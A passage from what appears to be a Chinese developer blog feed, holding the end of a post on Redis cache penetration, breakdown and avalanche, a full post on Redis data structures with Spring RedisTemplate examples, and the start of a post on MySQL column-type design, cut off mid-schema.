userId;</span><br><span class="line">    <span class="type">String</span> <span class="variable">coldKey</span> <span class="operator">=</span> <span class="string">&quot;cold:user:&quot;</span> + userId;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 先查热点缓存（短过期）</span></span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(hotKey);</span><br><span class="line">    <span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> user;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 再查冷缓存（长过期）</span></span><br><span class="line">    user = redisTemplate.opsForValue().get(coldKey);</span><br><span class="line">    <span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> user;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 从数据库加载</span></span><br><span class="line">    user = userMapper.selectById(userId);</span><br><span class="line">    <span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">        redisTemplate.opsForValue().set(hotKey, user, Duration.ofMinutes(<span class="number">5</span>));</span><br><span class="line">        redisTemplate.opsForValue().set(coldKey, user, Duration.ofHours(<span class="number">1</span>));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><h3 id="1-监控缓存命中率"><a href="#1-监控缓存命中率" class="headerlink" title="1. 监控缓存命中率"></a>1. 监控缓存命中率</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli INFO stats | grep keyspace_hits</span><br><span class="line">redis-cli INFO stats | grep keyspace_misses</span><br></pre></td></tr></table></figure><h3 id="2-设置合理的过期时间"><a href="#2-设置合理的过期时间" class="headerlink" title="2. 设置合理的过期时间"></a>2. 设置合理的过期时间</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 根据访问频率设置不同过期时间</span></span><br><span class="line"><span class="keyword">if</span> (isHotKey(key)) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, value, Duration.ofMinutes(<span class="number">5</span>));</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, value, Duration.ofHours(<span class="number">1</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-降级方案"><a href="#3-降级方案" class="headerlink" title="3. 降级方案"></a>3. 降级方案</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@HystrixCommand(fallbackMethod = &quot;getUserFallback&quot;)</span></span><br><span class="line"><span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">    <span class="comment">// 正常缓存查询逻辑</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> User <span class="title function_">getUserFallback</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">    <span class="comment">// 降级：返回默认值或空</span></span><br><span class="line">    log.warn(<span class="string">&quot;缓存降级，userId: &#123;&#125;&quot;</span>, userId);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>缓存三大问题的核心解决方案：</p><ol><li><strong>穿透</strong>：缓存空值或使用布隆过滤器</li><li><strong>击穿</strong>：使用互斥锁或逻辑过期</li><li><strong>雪崩</strong>：分散过期时间或使用分级缓存</li></ol><p>我在多个项目中都遇到过这些问题，关键在于提前预防和做好监控。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 数据结构详解：从入门到实战</title>
      <link href="//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/"/>
      <url>//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-数据结构详解：从入门到实战"><a href="#Redis-数据结构详解：从入门到实战" class="headerlink" title="Redis 数据结构详解：从入门到实战"></a>Redis 数据结构详解：从入门到实战</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="数据结构概览"><a href="#数据结构概览" class="headerlink" title="数据结构概览"></a>数据结构概览</h2><table><thead><tr><th>数据结构</th><th>描述</th><th>常用命令</th></tr></thead><tbody><tr><td><strong>String</strong></td><td>字符串</td><td>SET, GET, INCR, DECR</td></tr><tr><td><strong>Hash</strong></td><td>哈希表</td><td>HSET, HGET, HGETALL</td></tr><tr><td><strong>List</strong></td><td>双向链表</td><td>LPUSH, RPUSH, LPOP, RPOP</td></tr><tr><td><strong>Set</strong></td><td>无序集合</td><td>SADD, SMEMBERS, SINTER</td></tr><tr><td><strong>Sorted Set</strong></td><td>有序集合</td><td>ZADD, ZRANGE, ZRANK</td></tr></tbody></table><h2 id="1-String：最基础的数据结构"><a href="#1-String：最基础的数据结构" class="headerlink" title="1. String：最基础的数据结构"></a>1. String：最基础的数据结构</h2><p>String 是 Redis 最基础的数据结构，最大能存储 512MB 的数据。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 设置字符串</span></span><br><span class="line">redisTemplate.opsForValue().set(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;&#123;\&quot;id\&quot;:1,\&quot;name\&quot;:\&quot;John\&quot;&#125;&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取字符串</span></span><br><span class="line"><span class="type">String</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(<span class="string">&quot;user:1001&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 自增操作</span></span><br><span class="line">redisTemplate.opsForValue().increment(<span class="string">&quot;counter&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 设置过期时间</span></span><br><span class="line">redisTemplate.opsForValue().set(<span class="string">&quot;token:abc&quot;</span>, <span class="string">&quot;user:1001&quot;</span>, Duration.ofMinutes(<span class="number">30</span>));</span><br></pre></td></tr></table></figure><p><strong>应用场景</strong>：</p><ul><li>缓存用户信息、配置信息</li><li>计数器（点赞数、访问量）</li><li>Session 存储</li><li>分布式锁</li></ul><h2 id="2-Hash：适合存储对象"><a href="#2-Hash：适合存储对象" class="headerlink" title="2. Hash：适合存储对象"></a>2. Hash：适合存储对象</h2><p>Hash 是一个键值对集合，适合存储对象。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 设置哈希字段</span></span><br><span class="line">redisTemplate.opsForHash().put(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;name&quot;</span>, <span class="string">&quot;John&quot;</span>);</span><br><span class="line">redisTemplate.opsForHash().put(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;email&quot;</span>, <span class="string">&quot;john@example.com&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取哈希字段</span></span><br><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> (String) redisTemplate.opsForHash().get(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;name&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取所有字段</span></span><br><span class="line">Map&lt;Object, Object&gt; user = redisTemplate.opsForHash().entries(<span class="string">&quot;user:1001&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 删除字段</span></span><br><span class="line">redisTemplate.opsForHash().delete(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;email&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>应用场景</strong>：</p><ul><li>用户信息存储</li><li>对象缓存</li><li>配置管理</li></ul><h2 id="3-List：实现队列和栈"><a href="#3-List：实现队列和栈" class="headerlink" title="3. List：实现队列和栈"></a>3. List：实现队列和栈</h2><p>List 是一个双向链表，可以从两端操作。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 从左边入队</span></span><br><span class="line">redisTemplate.opsForList().leftPush(<span class="string">&quot;queue:tasks&quot;</span>, <span class="string">&quot;task1&quot;</span>);</span><br><span class="line">redisTemplate.opsForList().leftPush(<span class="string">&quot;queue:tasks&quot;</span>, <span class="string">&quot;task2&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 从右边出队</span></span><br><span class="line"><span class="type">String</span> <span class="variable">task</span> <span class="operator">=</span> (String) redisTemplate.opsForList().rightPop(<span class="string">&quot;queue:tasks&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取列表长度</span></span><br><span class="line"><span class="type">Long</span> <span class="variable">size</span> <span class="operator">=</span> redisTemplate.opsForList().size(<span class="string">&quot;queue:tasks&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取列表元素</span></span><br><span class="line">List&lt;Object&gt; tasks = redisTemplate.opsForList().range(<span class="string">&quot;queue:tasks&quot;</span>, <span class="number">0</span>, -<span class="number">1</span>);</span><br></pre></td></tr></table></figure><p><strong>应用场景</strong>：</p><ul><li>任务队列</li><li>消息队列</li><li>最新消息列表</li><li>评论列表</li></ul><h2 id="4-Set：无序不重复集合"><a href="#4-Set：无序不重复集合" class="headerlink" title="4. Set：无序不重复集合"></a>4. Set：无序不重复集合</h2><p>Set 是一个无序的、不重复的元素集合。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加元素</span></span><br><span class="line">redisTemplate.opsForSet().add(<span class="string">&quot;set:users&quot;</span>, <span class="string">&quot;user1&quot;</span>, <span class="string">&quot;user2&quot;</span>, <span class="string">&quot;user3&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 判断元素是否存在</span></span><br><span class="line"><span class="type">Boolean</span> <span class="variable">exists</span> <span class="operator">=</span> redisTemplate.opsForSet().isMember(<span class="string">&quot;set:users&quot;</span>, <span class="string">&quot;user1&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取集合大小</span></span><br><span class="line"><span class="type">Long</span> <span class="variable">size</span> <span class="operator">=</span> redisTemplate.opsForSet().size(<span class="string">&quot;set:users&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 求交集</span></span><br><span class="line">Set&lt;Object&gt; intersection = redisTemplate.opsForSet().intersect(<span class="string">&quot;set:a&quot;</span>, <span class="string">&quot;set:b&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 求并集</span></span><br><span class="line">Set&lt;Object&gt; union = redisTemplate.opsForSet().union(<span class="string">&quot;set:a&quot;</span>, <span class="string">&quot;set:b&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 求差集</span></span><br><span class="line">Set&lt;Object&gt; difference = redisTemplate.opsForSet().difference(<span class="string">&quot;set:a&quot;</span>, <span class="string">&quot;set:b&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>应用场景</strong>：</p><ul><li>去重</li><li>共同好友推荐</li><li>标签系统</li><li>抽奖活动</li></ul><h2 id="5-Sorted-Set：有序集合"><a href="#5-Sorted-Set：有序集合" class="headerlink" title="5. Sorted Set：有序集合"></a>5. Sorted Set：有序集合</h2><p>Sorted Set 是有序的、不重复的元素集合，每个元素都有一个分数（score）。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加元素</span></span><br><span class="line">redisTemplate.opsForZSet().add(<span class="string">&quot;zset:ranking&quot;</span>, <span class="string">&quot;user1&quot;</span>, <span class="number">100</span>);</span><br><span class="line">redisTemplate.opsForZSet().add(<span class="string">&quot;zset:ranking&quot;</span>, <span class="string">&quot;user2&quot;</span>, <span class="number">90</span>);</span><br><span class="line">redisTemplate.opsForZSet().add(<span class="string">&quot;zset:ranking&quot;</span>, <span class="string">&quot;user3&quot;</span>, <span class="number">80</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取排名（从高到低）</span></span><br><span class="line">Set&lt;Object&gt; top10 = redisTemplate.opsForZSet().reverseRange(<span class="string">&quot;zset:ranking&quot;</span>, <span class="number">0</span>, <span class="number">9</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取某个元素的分数</span></span><br><span class="line"><span class="type">Double</span> <span class="variable">score</span> <span class="operator">=</span> redisTemplate.opsForZSet().score(<span class="string">&quot;zset:ranking&quot;</span>, <span class="string">&quot;user1&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取某个元素的排名（从高到低）</span></span><br><span class="line"><span class="type">Long</span> <span class="variable">rank</span> <span class="operator">=</span> redisTemplate.opsForZSet().reverseRank(<span class="string">&quot;zset:ranking&quot;</span>, <span class="string">&quot;user1&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 增加分数</span></span><br><span class="line">redisTemplate.opsForZSet().incrementScore(<span class="string">&quot;zset:ranking&quot;</span>, <span class="string">&quot;user1&quot;</span>, <span class="number">10</span>);</span><br></pre></td></tr></table></figure><p><strong>应用场景</strong>：</p><ul><li>排行榜</li><li>热门榜单</li><li>积分系统</li><li>延迟任务</li></ul><h2 id="高级数据结构"><a href="#高级数据结构" class="headerlink" title="高级数据结构"></a>高级数据结构</h2><p>#</p><h2 id="HyperLogLog：基数统计"><a href="#HyperLogLog：基数统计" class="headerlink" title="HyperLogLog：基数统计"></a>HyperLogLog：基数统计</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加元素</span></span><br><span class="line">redisTemplate.opsForHyperLogLog().add(<span class="string">&quot;hll:visitors&quot;</span>, <span class="string">&quot;user1&quot;</span>, <span class="string">&quot;user2&quot;</span>, <span class="string">&quot;user3&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 统计基数</span></span><br><span class="line"><span class="type">Long</span> <span class="variable">count</span> <span class="operator">=</span> redisTemplate.opsForHyperLogLog().size(<span class="string">&quot;hll:visitors&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 合并多个 HyperLogLog</span></span><br><span class="line">redisTemplate.opsForHyperLogLog().union(<span class="string">&quot;hll:total&quot;</span>, <span class="string">&quot;hll:day1&quot;</span>, <span class="string">&quot;hll:day2&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>应用场景</strong>：UV 统计、独立访客统计</p><p>#</p><h2 id="Geo：地理位置"><a href="#Geo：地理位置" class="headerlink" title="Geo：地理位置"></a>Geo：地理位置</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加地理位置</span></span><br><span class="line">redisTemplate.opsForGeo().add(<span class="string">&quot;geo:stores&quot;</span>, <span class="keyword">new</span> <span class="title class_">Point</span>(<span class="number">116.40</span>, <span class="number">39.90</span>), <span class="string">&quot;store1&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 计算两点距离</span></span><br><span class="line"><span class="type">Distance</span> <span class="variable">distance</span> <span class="operator">=</span> redisTemplate.opsForGeo().distance(<span class="string">&quot;geo:stores&quot;</span>, <span class="string">&quot;store1&quot;</span>, <span class="string">&quot;store2&quot;</span>, RedisGeoCommands.DistanceUnit.KILOMETERS);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 查找附近的地点</span></span><br><span class="line">GeoResults&lt;RedisGeoCommands.GeoLocation&lt;String&gt;&gt; results = </span><br><span class="line">    redisTemplate.opsForGeo().radius(<span class="string">&quot;geo:stores&quot;</span>, <span class="keyword">new</span> <span class="title class_">Circle</span>(<span class="keyword">new</span> <span class="title class_">Point</span>(<span class="number">116.40</span>, <span class="number">39.90</span>), <span class="keyword">new</span> <span class="title class_">Distance</span>(<span class="number">5</span>, RedisGeoCommands.DistanceUnit.KILOMETERS)));</span><br></pre></td></tr></table></figure><p><strong>应用场景</strong>：附近的人、附近的商店</p><p>#</p><h2 id="Stream：消息流"><a href="#Stream：消息流" class="headerlink" title="Stream：消息流"></a>Stream：消息流</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加消息</span></span><br><span class="line">Map&lt;String, Object&gt; message = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">message.put(<span class="string">&quot;orderId&quot;</span>, <span class="string">&quot;123&quot;</span>);</span><br><span class="line">message.put(<span class="string">&quot;amount&quot;</span>, <span class="number">100</span>);</span><br><span class="line">redisTemplate.opsForStream().add(<span class="string">&quot;stream:orders&quot;</span>, message);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 读取消息</span></span><br><span class="line">List&lt;MapRecord&lt;String, String, Object&gt;&gt; messages = </span><br><span class="line">    redisTemplate.opsForStream().read(StreamOffset.fromStart(<span class="string">&quot;stream:orders&quot;</span>));</span><br></pre></td></tr></table></figure><p><strong>应用场景</strong>：消息队列、事件日志</p><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p>#</p><h2 id="1-选择合适的数据结构"><a href="#1-选择合适的数据结构" class="headerlink" title="1. 选择合适的数据结构"></a>1. 选择合适的数据结构</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 错误：用 String 存储对象</span></span><br><span class="line">redisTemplate.opsForValue().set(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;&#123;\&quot;name\&quot;:\&quot;John\&quot;,\&quot;email\&quot;:\&quot;john@example.com\&quot;&#125;&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ✅ 正确：用 Hash 存储对象</span></span><br><span class="line">redisTemplate.opsForHash().put(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;name&quot;</span>, <span class="string">&quot;John&quot;</span>);</span><br><span class="line">redisTemplate.opsForHash().put(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;email&quot;</span>, <span class="string">&quot;john@example.com&quot;</span>);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-设置合理的过期时间"><a href="#2-设置合理的过期时间" class="headerlink" title="2. 设置合理的过期时间"></a>2. 设置合理的过期时间</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">redisTemplate.opsForValue().set(<span class="string">&quot;cache:user:1001&quot;</span>, user, Duration.ofMinutes(<span class="number">30</span>));</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-使用合适的序列化方式"><a href="#3-使用合适的序列化方式" class="headerlink" title="3. 使用合适的序列化方式"></a>3. 使用合适的序列化方式</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 配置 JSON 序列化</span></span><br><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> RedisTemplate&lt;String, Object&gt; <span class="title function_">redisTemplate</span><span class="params">(RedisConnectionFactory factory)</span> &#123;</span><br><span class="line">    RedisTemplate&lt;String, Object&gt; template = <span class="keyword">new</span> <span class="title class_">RedisTemplate</span>&lt;&gt;();</span><br><span class="line">    template.setConnectionFactory(factory);</span><br><span class="line">    template.setKeySerializer(<span class="keyword">new</span> <span class="title class_">StringRedisSerializer</span>());</span><br><span class="line">    template.setValueSerializer(<span class="keyword">new</span> <span class="title class_">GenericJackson2JsonRedisSerializer</span>());</span><br><span class="line">    <span class="keyword">return</span> template;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Redis 的数据结构各有特点，选择合适的数据结构能显著提升性能和开发效率。在实际项目中，我通常根据业务场景选择：</p><ul><li>简单缓存用 String</li><li>对象存储用 Hash</li><li>队列用 List 或 Stream</li><li>排行榜用 Sorted Set</li><li>去重用 Set</li></ul><p>写这篇文章时，我特意整理了各个数据结构的应用场景。理解数据结构是用好 Redis 的关键，希望这些内容能帮到你。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>数据库字段类型设计：如何贴近业务需求</title>
      <link href="//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/"/>
      <url>//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="数据库字段类型设计：如何贴近业务需求"><a href="#数据库字段类型设计：如何贴近业务需求" class="headerlink" title="数据库字段类型设计：如何贴近业务需求"></a>数据库字段类型设计：如何贴近业务需求</h1><p>数据库字段类型的选择直接影响系统性能和数据完整性。今天分享一下我在项目中总结的字段类型设计经验。</p><h2 id="字段类型选择原则"><a href="#字段类型选择原则" class="headerlink" title="字段类型选择原则"></a>字段类型选择原则</h2><h3 id="1-数值类型"><a href="#1-数值类型" class="headerlink" title="1. 数值类型"></a>1. 数值类型</h3><table><thead><tr><th>类型</th><th>范围</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>TINYINT</strong></td><td>-128 ~ 127</td><td>布尔值、状态码（如 0/1）</td></tr><tr><td><strong>SMALLINT</strong></td><td>-32768 ~ 32767</td><td>小范围数值（如年龄、数量）</td></tr><tr><td><strong>INT</strong></td><td>-21亿 ~ 21亿</td><td>常规数值（如用户ID、订单ID）</td></tr><tr><td><strong>BIGINT</strong></td><td>-9e18 ~ 9e18</td><td>大数值（如雪花ID）</td></tr><tr><td><strong>DECIMAL(M,D)</strong></td><td>精确小数</td><td>金额、百分比</td></tr></tbody></table><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 用户表</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> users (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">    age TINYINT UNSIGNED, <span class="comment">-- 年龄，0-255足够</span></span><br><span class="line">    status TINYINT <span class="keyword">DEFAULT</span> <span class="number">1</span>, <span class="comment">-- 状态：0禁用，1启用</span></span><br><span class="line">    balance <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="comment">-- 余额，精确到分</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><h3 id="2-字符串类型"><a href="#2-字符串类型" class="headerlink" title="2. 字符串类型"></a>2. 字符串类型</h3><table><thead><tr><th>类型</th><th>特点</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>CHAR(n)</strong></td><td>定长，效率高</td><td>固定长度字符串（如手机号、身份证号）</td></tr><tr><td><strong>VARCHAR(n)</strong></td><td>变长，节省空间</td><td>可变长度字符串（如姓名、地址）</td></tr><tr><td><strong>TEXT</strong></td><td>大文本</td><td>长文本内容（如文章正文）</td></tr><tr><td><strong>ENUM</strong></td><td>枚举值</td><td>固定选项（如性别、订单状态）</td></tr></tbody></table><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 订单表</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">    order_no <span class="type">CHAR</span>(<span class="number">20</span>), <span class="comment">-- 订单号，固定长度</span></span><br><span class="line">    status ENUM(<span class="string">&#x27;PENDING&#x27;</span>, <span class="string">&#x27;PAID&#x27;</span>, <span class="string">&#x27;SHIPPED&#x27;</span>, <span class="string">&#x27;COMPLETED&#x27;</span>), <span class="comment">-- 订单状态</span></span><br><span class="line">    remark TEXT <span class="comment">-- 备注，可能较长</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><h3 id="3-日期时间类型"><a href="#3-日期时间类型" class="headerlink" title="3. 日期时间类型"></a>3. 日期时间类型</h3><table><thead><tr><th>类型</th><th>精度</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>DATE</strong></td><td>年月日</td><td>生日、日期</td></tr><tr><td><strong>TIME</strong></td><td>时分秒</td><td>时间点</td></tr><tr><td><strong>DATETIME</strong></td><td>年月日时分秒</td><td>记录时间（如创建时间）</td></tr><tr><td><strong>TIMESTAMP</strong></td><td>年月日时分秒</td><td>时间戳，自动更新</td></tr></tbody></table><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 日志表</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> logs (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">    created_at DATETIME <span class="keyword">NOT NULL</span>, <span class="comment">-- 创建时间</span></span><br><span class="line">    updated_at <span class="type">TIMESTAMP</span> <span class="keyword">ON</span> <span class="keyword">UPDATE</span> <span class="built_in">CURRENT_TIMESTAMP</span> <span class="comment">-- 更新时间，自动更新</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><h2 id="常见误区"><a href="#常见误区" class="headerlink" title="常见误区"></a>常见误区</h2><h3 id="误区一：滥用-VARCHAR-255"><a href="#误区一：滥用-VARCHAR-255" class="headerlink" title="误区一：滥用 VARCHAR(255)"></a>误区一：滥用 VARCHAR(255)</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- ❌ 错误：所有字符串都用 VARCHAR(255)</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> users (</span><br><span class="line">    name <span class="type">VARCHAR</span>(<span class="number">255</span>), <span class="comment">-- 姓名最多50字足够</span></span><br><span class="line">    phone <span class="type">VARCHAR</span>(<span class="number">255</span>), <span class="comment">-- 手机号固定11位</span></span><br><span class="line">    email <span class="type">VARCHAR</span>(<span class="number">255</span>) <span class="comment">-- 邮箱一般不超过100字符</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 正确：根据业务实际长度设置</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> users (</span><br><span class="line">    name <span class="type">VARCHAR</span>(<span class="number">50</span>),</span><br><span class="line">    phone <span class="type">CHAR</span>(<span class="number">11</span>),</span><br><span class="line">    email <span class="type">VARCHAR</span>(<span class="number">100</span>)</span><br><span class="line">);</span><br></pre></td></tr></table></figure><h3 id="误区二：用字符串存储数值"><a href="#误区二：用字符串存储数值" class="headerlink" title="误区二：用字符串存储数值"></a>误区二：用字符串存储数值</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- ❌ 错误：用字符串存储数值</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">    user_id <span class="type">VARCHAR</span>(<span class="number">50</span>), <span class="comment">-- 应该用 BIGINT</span></span><br><span class="line">    amount <span class="type">VARCHAR</span>(<span class="number">50</span>) <span class="comment">-- 应该用 DECIMAL</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 正确：使用合适的数值类型</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">    user_id <span class="type">BIGINT</span>,</span><br><span class="line">    amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>)</span><br><span class="line">);</span><br></pre></td></tr></table></figure><h3 id="误区三：忽略字符集"><a href="#误区三：忽略字符集" class="headerlink" title="误区三：忽略字符集"></a>误区三：忽略字符集</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- ❌ 错误：使用默认字符集可能导致乱码</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> articles (</span><br><span class="line">    title <span class="type">VARCHAR</span>(<span class="number">100</span>),</span><br><span class="line">    content TEXT</span><br><span class="line">) <span class="keyword">DEFAULT</span> <span class="keyword">CHARACTER SET</span> latin1; <span class="comment">-- 不支持中文</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 正确：使用 UTF-8</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> articles (</span><br><span class="line">    title <span class="type">VARCHAR</span>(<span class="number">100</span>),</span><br><span class="line">    content TEXT</span><br><span class="line">) <span class="keyword">DEFAULT</span> <span class="keyword">CHARACTER SET</span> utf8mb4; <span class="comment">-- 支持 emoji</span></span><br></pre></td></tr></table></figure><h2 id="实战案例"><a href="#实战案例" class="headerlink" title="实战案例"></a>实战案例</h2><h3 id="案例一：用户表设计"><a href="#案例一：用户表设计" class="headerlink" title="案例一：用户表设计"></a>案例一：用户表设计</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> users (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT COMMENT <span class="string">&#x27;用户ID&#x27;</span>,</span><br><span class="line">    username <span class="type">VARCHAR</span>(<span class="number">50</span>) <span class="keyword">NOT NULL</span> <span class="keyword">UNIQUE</span> COMMENT <span class="string">&#x27;用户名&#x27;</span>,</span><br><span class="line">    email <span class="type">VARCHAR</span>(<span class="number">100</span>) <span 